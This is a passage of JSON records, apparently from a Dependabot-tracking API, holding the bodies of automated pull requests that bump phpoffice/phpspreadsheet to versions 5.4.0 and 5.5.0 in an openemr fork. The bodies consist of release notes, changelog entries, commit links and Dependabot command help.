href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4781\"\u003e#4781\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4781\"\u003ePHPOffice/PhpSpreadsheet#4781\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html add ability to set line ending. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4779\"\u003e#4779\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4779\"\u003ePHPOffice/PhpSpreadsheet#4779\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html optionally save formulas as data attributes. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4783\"\u003e#4783\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4783\"\u003ePHPOffice/PhpSpreadsheet#4783\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUser-supplied headers and footers in PDF. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3159\"\u003e#3159\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3159\"\u003ePHPOffice/PhpSpreadsheet#3159\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4789\"\u003e#4789\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4789\"\u003ePHPOffice/PhpSpreadsheet#4789\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eWriter/Html constant BODY_LINE no longer makes sense with a configurable line ending. No replacement.\u003c/li\u003e\n\u003cli\u003eCalculation classes FormulaParser and FormulaToken are unused. No replacement.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet methods insertBitMap, positionImage, writeObjPicture, processBitmapGd, and processBitmap are unused. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImprove performance in value binders. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4780\"\u003e#4780\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4780\"\u003ePHPOffice/PhpSpreadsheet#4780\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eHandle Unions as Function Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4656\"\u003e#4656\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4656\"\u003ePHPOffice/PhpSpreadsheet#4656\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/316\"\u003e#316\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/316\"\u003ePHPOffice/PhpSpreadsheet#316\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/503\"\u003e#503\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/503\"\u003ePHPOffice/PhpSpreadsheet#503\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4657\"\u003e#4657\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4657\"\u003ePHPOffice/PhpSpreadsheet#4657\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUnexpected Behavior of CONCATENATE. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4061\"\u003e#4061\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4061\"\u003ePHPOffice/PhpSpreadsheet#4061\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4797\"\u003e#4797\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4797\"\u003ePHPOffice/PhpSpreadsheet#4797\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImage Css size in millimeters. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4800\"\u003e#4800\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4800\"\u003ePHPOffice/PhpSpreadsheet#4800\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4801\"\u003e#4801\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4801\"\u003ePHPOffice/PhpSpreadsheet#4801\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader column misalignment. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4802\"\u003e#4802\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4802\"\u003ePHPOffice/PhpSpreadsheet#4802\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4803\"\u003e#4803\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4803\"\u003ePHPOffice/PhpSpreadsheet#4803\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds improved handling of number formats. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3961\"\u003ePHPOffice/PhpSpreadsheet#3961\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4798\"\u003e#4798\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4798\"\u003ePHPOffice/PhpSpreadsheet#4798\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4806\"\u003e#4806\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4806\"\u003ePHPOffice/PhpSpreadsheet#4806\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader fonts and fills. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2622\"\u003e#2622\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2622\"\u003ePHPOffice/PhpSpreadsheet#2622\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1191\"\u003e#1191\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1191\"\u003ePHPOffice/PhpSpreadsheet#1191\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4810\"\u003e#4810\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4810\"\u003ePHPOffice/PhpSpreadsheet#4810\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader alignment and cell protection. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4813\"\u003e#4813\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4813\"\u003ePHPOffice/PhpSpreadsheet#4813\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader borders. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4814\"\u003e#4814\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4814\"\u003ePHPOffice/PhpSpreadsheet#4814\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader column styles (partial). [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4815\"\u003e#4815\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4815\"\u003ePHPOffice/PhpSpreadsheet#4815\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-02-28 - 5.5.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMuch improved handling of Styles by Ods Reader. The relevant changes are listed at the end of the \u0026quot;Fixed\u0026quot; section below.\u003c/li\u003e\n\u003cli\u003eOption to use OldCalculatedValue in ToArray and Relatives. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003e#1810\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003ePHPOffice/PhpSpreadsheet#1810\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4787\"\u003e#4787\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4787\"\u003ePHPOffice/PhpSpreadsheet#4787\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd checkbox style (Xlsx and Html). [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4781\"\u003e#4781\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4781\"\u003ePHPOffice/PhpSpreadsheet#4781\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html add ability to set line ending. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4779\"\u003e#4779\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4779\"\u003ePHPOffice/PhpSpreadsheet#4779\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html optionally save formulas as data attributes. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4783\"\u003e#4783\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4783\"\u003ePHPOffice/PhpSpreadsheet#4783\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUser-supplied headers and footers in PDF. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3159\"\u003e#3159\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3159\"\u003ePHPOffice/PhpSpreadsheet#3159\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4789\"\u003e#4789\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4789\"\u003ePHPOffice/PhpSpreadsheet#4789\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eWriter/Html constant BODY_LINE no longer makes sense with a configurable line ending. No replacement.\u003c/li\u003e\n\u003cli\u003eCalculation classes FormulaParser and FormulaToken are unused. No replacement.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet methods insertBitMap, positionImage, writeObjPicture, processBitmapGd, and processBitmap are unused. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImprove performance in value binders. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4780\"\u003e#4780\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4780\"\u003ePHPOffice/PhpSpreadsheet#4780\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eHandle Unions as Function Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4656\"\u003e#4656\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4656\"\u003ePHPOffice/PhpSpreadsheet#4656\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/316\"\u003e#316\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/316\"\u003ePHPOffice/PhpSpreadsheet#316\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/503\"\u003e#503\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/503\"\u003ePHPOffice/PhpSpreadsheet#503\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4657\"\u003e#4657\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4657\"\u003ePHPOffice/PhpSpreadsheet#4657\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUnexpected Behavior of CONCATENATE. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4061\"\u003e#4061\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4061\"\u003ePHPOffice/PhpSpreadsheet#4061\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4797\"\u003e#4797\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4797\"\u003ePHPOffice/PhpSpreadsheet#4797\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImage Css size in millimeters. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4800\"\u003e#4800\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4800\"\u003ePHPOffice/PhpSpreadsheet#4800\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4801\"\u003e#4801\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4801\"\u003ePHPOffice/PhpSpreadsheet#4801\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader column misalignment. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4802\"\u003e#4802\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4802\"\u003ePHPOffice/PhpSpreadsheet#4802\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4803\"\u003e#4803\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4803\"\u003ePHPOffice/PhpSpreadsheet#4803\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds improved handling of number formats. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3961\"\u003ePHPOffice/PhpSpreadsheet#3961\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4798\"\u003e#4798\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4798\"\u003ePHPOffice/PhpSpreadsheet#4798\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4806\"\u003e#4806\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4806\"\u003ePHPOffice/PhpSpreadsheet#4806\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader fonts and fills. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2622\"\u003e#2622\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2622\"\u003ePHPOffice/PhpSpreadsheet#2622\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1191\"\u003e#1191\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1191\"\u003ePHPOffice/PhpSpreadsheet#1191\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4810\"\u003e#4810\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4810\"\u003ePHPOffice/PhpSpreadsheet#4810\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader alignment and cell protection. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4813\"\u003e#4813\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4813\"\u003ePHPOffice/PhpSpreadsheet#4813\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader borders. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4814\"\u003e#4814\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4814\"\u003ePHPOffice/PhpSpreadsheet#4814\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader column styles (partial). [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4815\"\u003e#4815\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4815\"\u003ePHPOffice/PhpSpreadsheet#4815\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/eecd31b885a1c8192f12738130f85bbc6e8906ba\"\u003e\u003ccode\u003eeecd31b\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4817\"\u003e#4817\u003c/a\u003e from oleibman/changelog20260228\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/8dd433eb2b6fd71a150650ab2e6cb4968714ced3\"\u003e\u003ccode\u003e8dd433e\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/7548be17d341de56f78c8298a961faa9a41f26c2\"\u003e\u003ccode\u003e7548be1\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4815\"\u003e#4815\u003c/a\u003e from oleibman/odsstyles4b\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/6b7d2043b8b06f8d7e482d50fc6958d173ae9249\"\u003e\u003ccode\u003e6b7d204\u003c/code\u003e\u003c/a\u003e Use Named Constant Rather than Literal for Highest Column\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/aa631c68efe073b7f97f306ea8ece374a90fbe5f\"\u003e\u003ccode\u003eaa631c6\u003c/code\u003e\u003c/a\u003e Additional Test\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/015afae32008e093ebcb27b93da7d95db244cece\"\u003e\u003ccode\u003e015afae\u003c/code\u003e\u003c/a\u003e Ods Reader Style Support (Last) - Column Styles (Partial)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2920b2ae1189851971369e7176e7877b82bd2343\"\u003e\u003ccode\u003e2920b2a\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4814\"\u003e#4814\u003c/a\u003e from oleibman/odsstyles3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/97aa5260d42f1f3ac2cc70edb2931eb8ec0823ca\"\u003e\u003ccode\u003e97aa526\u003c/code\u003e\u003c/a\u003e Ods Reader Style Support Part 3 - Borders\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/d7b444230737a25dc2f665460377c6ba8fed141e\"\u003e\u003ccode\u003ed7b4442\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4813\"\u003e#4813\u003c/a\u003e from oleibman/odsstyles2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/62628e0336732eec4e66c0cd64c1d07f6960f330\"\u003e\u003ccode\u003e62628e0\u003c/code\u003e\u003c/a\u003e Additional Test\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/5.4.0...5.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=5.4.0\u0026new-version=5.5.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nYou can trigger a rebase of this PR by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/azkuang/openemr/pull/9","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/azkuang%2Fopenemr/issues/9","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/9/packages"}},{"old_version":"5.2.0","new_version":"5.4.0","update_type":"minor","path":null,"pr_created_at":"2026-01-17T02:03:32.000Z","version_change":"5.2.0 → 5.4.0","issue":{"uuid":"3824231488","node_id":"PR_kwDOQcBhfc69u-5w","number":25,"state":"open","title":"Bump phpoffice/phpspreadsheet from 5.2.0 to 5.4.0","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-01-17T02:03:32.000Z","updated_at":"2026-01-17T02:03:33.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"5.2.0","new_version":"5.4.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 5.2.0 to 5.4.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.4.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eStore image in cell (Xlsx only). [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003e#4014\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003ePHPOffice/PhpSpreadsheet#4014\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003e#4034\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003ePHPOffice/PhpSpreadsheet#4034\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003e#913\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003ePHPOffice/PhpSpreadsheet#913\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4677\"\u003e#4677\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4677\"\u003ePHPOffice/PhpSpreadsheet#4677\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePassthrough support (with some restrictions) for otherwise unsupported drawing elements. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003e#4037\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003ePHPOffice/PhpSpreadsheet#4037\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003e#4704\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003ePHPOffice/PhpSpreadsheet#4704\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4712\"\u003e#4712\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4712\"\u003ePHPOffice/PhpSpreadsheet#4712\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSet all locale variables at once in a threadsafe manner. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003e#954\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003ePHPOffice/PhpSpreadsheet#954\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4760\"\u003e#4760\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4760\"\u003ePHPOffice/PhpSpreadsheet#4760\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader/Html add ability to suppress warning messages from loadhtml. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003e#647\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003ePHPOffice/PhpSpreadsheet#647\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003e#849\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003ePHPOffice/PhpSpreadsheet#849\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4761\"\u003e#4761\u003c/a\u003e](\u003ca 